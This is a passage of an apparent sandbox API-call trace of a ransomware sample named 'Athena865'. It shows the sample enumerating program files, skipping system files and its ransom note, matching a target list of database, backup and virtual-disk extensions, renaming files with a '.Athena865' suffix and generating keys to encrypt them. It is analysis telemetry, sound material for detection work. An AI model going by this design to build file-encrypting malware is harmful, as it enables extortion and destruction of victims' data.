[0119.473] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1 [0119.473] lstrlenW (lpString="rod") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1 [0119.473] lstrlenW (lpString="rodx") returned 4 [0119.473] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1 [0119.473] lstrlenW (lpString="rpd") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1 [0119.473] lstrlenW (lpString="rsd") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1 [0119.473] lstrlenW (lpString="sas7bdat") returned 8 [0119.473] lstrcmpiW (lpString1="ngle.bmp", lpString2="sas7bdat") returned -1 [0119.473] lstrlenW (lpString="sbf") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1 [0119.473] lstrlenW (lpString="scx") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1 [0119.473] lstrlenW (lpString="sdb") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1 [0119.473] lstrlenW (lpString="sdc") returned 3 [0119.473] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1 [0119.473] lstrlenW (lpString="sdf") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1 [0119.474] lstrlenW (lpString="sis") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1 [0119.474] lstrlenW (lpString="spq") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1 [0119.474] lstrlenW (lpString="te") returned 2 [0119.474] lstrcmpiW (lpString1="mp", lpString2="te") returned -1 [0119.474] lstrlenW (lpString="teacher") returned 7 [0119.474] lstrcmpiW (lpString1="gle.bmp", lpString2="teacher") returned -1 [0119.474] lstrlenW (lpString="tmd") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1 [0119.474] lstrlenW (lpString="tps") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1 [0119.474] lstrlenW (lpString="trc") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0119.474] lstrlenW (lpString="trc") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1 [0119.474] lstrlenW (lpString="trm") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1 [0119.474] lstrlenW (lpString="udb") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1 [0119.474] lstrlenW (lpString="udl") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1 [0119.474] lstrlenW (lpString="usr") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1 [0119.474] lstrlenW (lpString="v12") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1 [0119.474] lstrlenW (lpString="vis") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1 [0119.474] lstrlenW (lpString="vpd") returned 3 [0119.474] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1 [0119.475] lstrlenW (lpString="vvv") returned 3 [0119.475] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1 [0119.475] lstrlenW (lpString="wdb") returned 3 [0119.475] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1 [0119.475] lstrlenW (lpString="wmdb") returned 4 [0119.475] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1 [0119.475] lstrlenW (lpString="wrk") returned 3 [0119.475] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1 [0119.475] lstrlenW (lpString="xdb") returned 3 [0119.475] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1 [0119.475] lstrlenW (lpString="xld") returned 3 [0119.475] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1 [0119.475] lstrlenW (lpString="xmlff") returned 5 [0119.475] lstrcmpiW (lpString1="e.bmp", lpString2="xmlff") returned -1 [0119.475] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.Athena865") returned 72 [0119.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp.athena865"), dwFlags=0x1) returned 1 [0119.476] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.477] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4726) returned 1 [0119.477] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.478] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.478] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.478] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1580, lpName=0x0) returned 0x154 [0119.480] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1580) returned 0x100000 [0119.481] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.482] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.482] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.483] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.483] CloseHandle (hObject=0x154) returned 1 [0119.483] CloseHandle (hObject=0x17c) returned 1 [0119.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.483] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0119.483] lstrcmpiW (lpString1="circleround_glass.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.483] lstrcmpiW (lpString1="circleround_glass.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.483] lstrcmpiW (lpString1="circleround_glass.png", lpString2=".") returned 1 [0119.483] lstrcmpiW (lpString1="circleround_glass.png", lpString2="..") returned 1 [0119.483] lstrcmpiW (lpString1="circleround_glass.png", lpString2="windows") returned -1 [0119.483] lstrcmpiW (lpString1="circleround_glass.png", lpString2="bootmgr") returned 1 [0119.483] lstrcmpiW (lpString1="circleround_glass.png", lpString2="temp") returned -1 [0119.483] lstrcmpiW (lpString1="circleround_glass.png", lpString2="pagefile.sys") returned -1 [0119.483] lstrcmpiW (lpString1="circleround_glass.png", lpString2="boot") returned 1 [0119.484] lstrcmpiW (lpString1="circleround_glass.png", lpString2="ids.txt") returned -1 [0119.484] lstrcmpiW (lpString1="circleround_glass.png", lpString2="ntuser.dat") returned -1 [0119.484] lstrcmpiW (lpString1="circleround_glass.png", lpString2="perflogs") returned -1 [0119.484] lstrcmpiW (lpString1="circleround_glass.png", lpString2="MSBuild") returned -1 [0119.484] lstrlenW (lpString="circleround_glass.png") returned 21 [0119.484] lstrcpyW (in: lpString1=0x241e8a0, lpString2="circleround_glass.png" | out: lpString1="circleround_glass.png") returned="circleround_glass.png" [0119.484] lstrlenW (lpString="circleround_glass.png") returned 21 [0119.484] lstrlenW (lpString="Athena865") returned 9 [0119.484] lstrcmpiW (lpString1="glass.png", lpString2="Athena865") returned 1 [0119.484] lstrlenW (lpString=".dll") returned 4 [0119.484] lstrcmpiW (lpString1="circleround_glass.png", lpString2=".dll") returned 1 [0119.484] lstrlenW (lpString=".lnk") returned 4 [0119.484] lstrcmpiW (lpString1="circleround_glass.png", lpString2=".lnk") returned 1 [0119.484] lstrlenW (lpString=".ini") returned 4 [0119.484] lstrcmpiW (lpString1="circleround_glass.png", lpString2=".ini") returned 1 [0119.484] lstrlenW (lpString=".sys") returned 4 [0119.484] lstrcmpiW (lpString1="circleround_glass.png", lpString2=".sys") returned 1 [0119.484] lstrlenW (lpString="circleround_glass.png") returned 21 [0119.484] lstrlenW (lpString="bak") returned 3 [0119.484] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0119.484] lstrlenW (lpString="ba_") returned 3 [0119.484] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0119.484] lstrlenW (lpString="dbb") returned 3 [0119.484] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0119.484] lstrlenW (lpString="vmdk") returned 4 [0119.484] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0119.484] lstrlenW (lpString="rar") returned 3 [0119.484] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0119.485] lstrlenW (lpString="zip") returned 3 [0119.485] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0119.485] lstrlenW (lpString="tgz") returned 3 [0119.485] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0119.485] lstrlenW (lpString="vbox") returned 4 [0119.485] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0119.485] lstrlenW (lpString="vdi") returned 3 [0119.485] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0119.485] lstrlenW (lpString="vhd") returned 3 [0119.485] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0119.485] lstrlenW (lpString="vhdx") returned 4 [0119.485] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1 [0119.485] lstrlenW (lpString="avhd") returned 4 [0119.485] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1 [0119.485] lstrlenW (lpString="db") returned 2 [0119.485] lstrcmpiW (lpString1="ng", lpString2="db") returned 1 [0119.485] lstrlenW (lpString="db2") returned 3 [0119.485] lstrcmpiW (lpString1="png", lpString2="db2") returned 1 [0119.485] lstrlenW (lpString="db3") returned 3 [0119.485] lstrcmpiW (lpString1="png", lpString2="db3") returned 1 [0119.485] lstrlenW (lpString="dbf") returned 3 [0119.485] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1 [0119.485] lstrlenW (lpString="mdf") returned 3 [0119.485] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0119.485] lstrlenW (lpString="mdb") returned 3 [0119.485] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0119.485] lstrlenW (lpString="sql") returned 3 [0119.485] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0119.486] lstrlenW (lpString="sqlite") returned 6 [0119.486] lstrcmpiW (lpString1="ss.png", lpString2="sqlite") returned 1 [0119.486] lstrlenW (lpString="sqlite3") returned 7 [0119.486] lstrcmpiW (lpString1="ass.png", lpString2="sqlite3") returned -1 [0119.486] lstrlenW (lpString="sqlitedb") returned 8 [0119.486] lstrcmpiW (lpString1="lass.png", lpString2="sqlitedb") returned -1 [0119.486] lstrlenW (lpString="xml") returned 3 [0119.486] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0119.486] lstrlenW (lpString="$er") returned 3 [0119.486] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0119.486] lstrlenW (lpString="4dd") returned 3 [0119.486] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0119.486] lstrlenW (lpString="4dl") returned 3 [0119.486] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0119.486] lstrlenW (lpString="^^^") returned 3 [0119.486] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0119.486] lstrlenW (lpString="abs") returned 3 [0119.486] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0119.486] lstrlenW (lpString="abx") returned 3 [0119.486] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0119.486] lstrlenW (lpString="accdb") returned 5 [0119.486] lstrcmpiW (lpString1="s.png", lpString2="accdb") returned 1 [0119.486] lstrlenW (lpString="accdc") returned 5 [0119.486] lstrcmpiW (lpString1="s.png", lpString2="accdc") returned 1 [0119.486] lstrlenW (lpString="accde") returned 5 [0119.486] lstrcmpiW (lpString1="s.png", lpString2="accde") returned 1 [0119.486] lstrlenW (lpString="accdr") returned 5 [0119.486] lstrcmpiW (lpString1="s.png", lpString2="accdr") returned 1 [0119.486] lstrlenW (lpString="accdt") returned 5 [0119.487] lstrcmpiW (lpString1="s.png", lpString2="accdt") returned 1 [0119.487] lstrlenW (lpString="accdw") returned 5 [0119.487] lstrcmpiW (lpString1="s.png", lpString2="accdw") returned 1 [0119.487] lstrlenW (lpString="accft") returned 5 [0119.487] lstrcmpiW (lpString1="s.png", lpString2="accft") returned 1 [0119.487] lstrlenW (lpString="adb") returned 3 [0119.487] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.487] lstrlenW (lpString="adb") returned 3 [0119.487] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.487] lstrlenW (lpString="ade") returned 3 [0119.487] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0119.487] lstrlenW (lpString="adf") returned 3 [0119.487] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0119.487] lstrlenW (lpString="adn") returned 3 [0119.487] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0119.487] lstrlenW (lpString="adp") returned 3 [0119.487] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0119.487] lstrlenW (lpString="alf") returned 3 [0119.487] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0119.487] lstrlenW (lpString="ask") returned 3 [0119.487] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0119.487] lstrlenW (lpString="btr") returned 3 [0119.487] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0119.487] lstrlenW (lpString="cat") returned 3 [0119.487] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0119.487] lstrlenW (lpString="cdb") returned 3 [0119.487] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0119.487] lstrlenW (lpString="ckp") returned 3 [0119.487] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0119.488] lstrlenW (lpString="cma") returned 3 [0119.488] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0119.488] lstrlenW (lpString="cpd") returned 3 [0119.488] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0119.488] lstrlenW (lpString="dacpac") returned 6 [0119.488] lstrcmpiW (lpString1="ss.png", lpString2="dacpac") returned 1 [0119.488] lstrlenW (lpString="dad") returned 3 [0119.488] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0119.488] lstrlenW (lpString="dadiagrams") returned 10 [0119.488] lstrcmpiW (lpString1="_glass.png", lpString2="dadiagrams") returned -1 [0119.488] lstrlenW (lpString="daschema") returned 8 [0119.488] lstrcmpiW (lpString1="lass.png", lpString2="daschema") returned 1 [0119.488] lstrlenW (lpString="db-journal") returned 10 [0119.488] lstrcmpiW (lpString1="_glass.png", lpString2="db-journal") returned -1 [0119.488] lstrlenW (lpString="db-shm") returned 6 [0119.488] lstrcmpiW (lpString1="ss.png", lpString2="db-shm") returned 1 [0119.488] lstrlenW (lpString="db-wal") returned 6 [0119.488] lstrcmpiW (lpString1="ss.png", lpString2="db-wal") returned 1 [0119.488] lstrlenW (lpString="dbc") returned 3 [0119.488] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0119.488] lstrlenW (lpString="dbs") returned 3 [0119.488] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0119.488] lstrlenW (lpString="dbt") returned 3 [0119.488] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0119.488] lstrlenW (lpString="dbv") returned 3 [0119.488] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0119.488] lstrlenW (lpString="dbx") returned 3 [0119.488] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0119.488] lstrlenW (lpString="dcb") returned 3 [0119.488] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0119.489] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.Athena865") returned 75 [0119.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png.athena865"), dwFlags=0x1) returned 1 [0119.490] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.490] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27281) returned 1 [0119.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.490] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.490] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.491] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.491] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.491] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6da0, lpName=0x0) returned 0x154 [0119.493] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6da0) returned 0x100000 [0119.494] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.495] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.495] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.496] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.496] CloseHandle (hObject=0x154) returned 1 [0119.496] CloseHandle (hObject=0x17c) returned 1 [0119.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.497] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2=".") returned 1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="..") returned 1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="windows") returned -1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="bootmgr") returned 1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="temp") returned -1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="pagefile.sys") returned -1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="boot") returned 1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="ids.txt") returned -1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="ntuser.dat") returned -1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="perflogs") returned -1 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2="MSBuild") returned -1 [0119.497] lstrlenW (lpString="circleround_selectionsubpicture.png") returned 35 [0119.497] lstrcpyW (in: lpString1=0x241e8a0, lpString2="circleround_selectionsubpicture.png" | out: lpString1="circleround_selectionsubpicture.png") returned="circleround_selectionsubpicture.png" [0119.497] lstrlenW (lpString="circleround_selectionsubpicture.png") returned 35 [0119.497] lstrlenW (lpString="Athena865") returned 9 [0119.497] lstrcmpiW (lpString1="cture.png", lpString2="Athena865") returned 1 [0119.497] lstrlenW (lpString=".dll") returned 4 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2=".dll") returned 1 [0119.497] lstrlenW (lpString=".lnk") returned 4 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2=".lnk") returned 1 [0119.497] lstrlenW (lpString=".ini") returned 4 [0119.497] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2=".ini") returned 1 [0119.498] lstrlenW (lpString=".sys") returned 4 [0119.498] lstrcmpiW (lpString1="circleround_selectionsubpicture.png", lpString2=".sys") returned 1 [0119.498] lstrlenW (lpString="circleround_selectionsubpicture.png") returned 35 [0119.498] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.Athena865") returned 89 [0119.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png.athena865"), dwFlags=0x1) returned 1 [0119.499] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.500] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3878) returned 1 [0119.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.500] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.500] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.501] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.501] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.501] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1230, lpName=0x0) returned 0x154 [0119.503] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1230) returned 0x100000 [0119.504] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.505] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.505] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0119.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0119.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) 